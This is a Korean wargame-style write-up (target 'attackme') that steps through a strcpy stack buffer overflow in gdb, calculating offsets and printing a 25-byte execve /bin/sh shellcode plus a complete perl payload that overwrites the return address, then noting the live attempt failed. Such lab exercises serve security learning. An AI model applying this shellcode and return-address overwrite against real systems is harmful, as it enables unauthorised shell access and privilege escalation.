힌트의 내용. attackme의 소스 파일로 추정된다.

메인을 disassemble.

(main+48)에보면 strcpy 함수를 호출하는데 여기서 소스에서 봤던 argv와 버퍼인 str을 인자로 받는다.

받는 인자는 오른쪽에서 왼쪽이기 때문에 dest인 str은 (main+41)과 (main+47)에서 인자로 넣어주므로 ebp에서 -108h(fffffef8h)인 곳인 것을 알 수 있다. 108h는 264(256+8) 이다. 여기에 ebp의 4를 더하고 뒤에 코드가 있는 주소를 더하면 return address를 수정할 수 있다.

여기서 argv[1]의 크기에 따라(매개변수이므로 스택에 쌓이니까) ebp의 주소도 변하므로

argv에 272바이트의 코드를 집어넣은 상태에서 main 함수에서의 ebp의 주소를 보겠다.

ebp의 값은 0xbffffa18이다.

272를 넣으면 리턴주소가 과연 변경이 되는가도 볼 겸 더 실행해본다.

leave를 실행하기 전 브레이크를 걸고 확인해 보았다.

esp부터 ebp와 return address 부분까지 41h로 가득 채워져 있다.

이제 272바이트의 코드 중 앞에는 쉘 코드를 뒤에는 str의 주소를 적어야한다.

쉘 코드는 다음과 같다. 총 25바이트.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

str의 주소를 구해야하는데 아까 계산했듯이

ebp에서 -108h를 해주면 된다.

0xbffffa18 - 0x108 = 0xbffff910

나머지 243바이트는 A로 채운다.

완성된 공격 코드

`perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","A"x243,"\x10\xf9\xff\xbf"'`

이 코드를 gdb에서 제대로 작동하나 실행해본다.

gdb를 다시 켰다..

return address가 0xbffff910 으로 바뀌었다.

ni를 쳐서 retn까지 실행시켜 확인해보았다. 성공적으로 쉘 코드로 eip가 옮겨졌다. 이제 실전만 남았다.

안된다...